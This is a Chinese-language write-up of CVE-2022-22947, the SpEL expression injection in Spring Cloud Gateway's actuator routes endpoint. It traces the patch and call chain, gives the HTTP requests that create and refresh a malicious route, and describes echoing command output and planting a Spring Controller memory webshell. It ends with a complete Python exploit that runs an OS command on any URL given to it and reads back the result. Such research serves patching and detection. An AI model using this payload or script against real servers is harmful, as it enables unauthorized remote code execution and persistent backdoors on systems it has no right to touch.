# Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947

# 漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞:

# 漏洞影响




# 网络测绘

app="vmware-SpringBoot-Framework"

# 漏洞复现

可以从Github下载存在漏洞的版本v3.1.0,然后用idea载入:

img


从漏洞通报来看,这是一个SPEL表达式注入漏洞,对比补丁org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

img

img


新版本将getValue函数中的StandardEvaluationContext替换成了SimpleEvaluationContext,从而修复了SPEL表达式注入。寻找getValue函数被调用的情况

img


只在枚举值ShortcutType的三个取值(DEFAULTGATHER_LISTGATHER_LIST_TAIL_FLAG)中被调用:

img


三个调用类似,以DEFAULT为例,继续寻找调用关系:

img

一直定位到RouteDefinitionLocator#convertToRoute

img


尝试根据RouteDefinition提取GatewayFilter列表。这里的调用和路由以及过滤规则有关,查看Spring Cloud Gateway路由相关的接口定义:

img


定位处理控制器org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint

img


POST输入参数为RouteDefinition类型,与上面调用链中的convertToRoute函数的输入参数类型一致。

查看RouteDefinition定义:

img


注意列表型变量FilterDefinition的定义:

img


参考RouteDefinition变量的定义很容易出构造POST测试请求:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166

{
  "id": "id",
  "filters": [{
    "name": "123456",
    "args": {}
  }],
  "uri": "http://localhost"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

触发断点:

img


首先会通过函数validateRouteDefinition对参数进行了检查:

img


进入验证函数isAvailable

img

代码中会验证Filtername属性是否合法,合法列表整理如下:

class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

可以随意选择其中的一个GatewayFilterFactory,比如利用Retry来修改请求包:

POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181

{
  "id": "1234567",
  "filters": [{
    "name": "Retry",
    "args": {
"a":"payload"
   }
  }],
  "uri": "http://localhost"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

请求后显示路由创建成功。可以通过refresh来生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
1
2
3

成功触发表达式解析:

img

# 武器化一:命令回显


通过调试发现,在refresh路由时会调用对应GatewayFilterapply函数。当成功创建新的路由后,可以通过GET请求获取配置信息:

img


回顾前面合法的GatewayFilter列表,我们发现存在一个名为AddResponseHeaderGatewayFilterFactory的子类:

img

img


apply函数会将配置信息写入HTTP响应数据包中,所以可以尝试利用AddResponseHeaderGatewayFilterFactory来构造命令回显请求:

img


refresh执行SPEL表达式,将结果写入HTTP响应流,然后访问创建的路由,可以将命令执行的结果回显出来:

img


最后可以发送DELETE请求将创建的新路由删除。

# 武器化二:Spring Controller内存马


CVE-2022-22947是一个SPEL表达式注入漏洞,并且框架基于Spring Framework实现,所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马

本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:

`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象

函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:
1
2
3
4
5
6

img

img


除了上面通过Thread的方式提取RequestMappingInfo之外,通过观察SPEL表达式解析的代码发现上下文环境存在beanFactory的对象:

img

img


存有337个Bean对象信息,可以利用下面代码辅助打印结果:

for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
    System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}
1
2
3

img

img


直接利用SPEL上线文环境中的beanFactory即可获取RequestMappingHandlerMapping对象。SPEL表达式中可以通过@来获取BeanResolver配置的beans对象:

img


接下来创建内存马的过程就很简单了,最终效果就是将如下自定义的Controller子类通过SPEL表达式注入到内存并通过RequestMappingHandlerMapping对象完成路由注册:

img


构造完新的payload后,发送数据包:

img


refresh后将注入内存马:

img


最后同样记得发送DELETE请求将创建的路由删除。

# 漏洞POC

https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947/blob/main/spring_cloud_RCE.py

import requests
import json
import sys


def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)


if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     
 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 
usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# 参考文章

https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw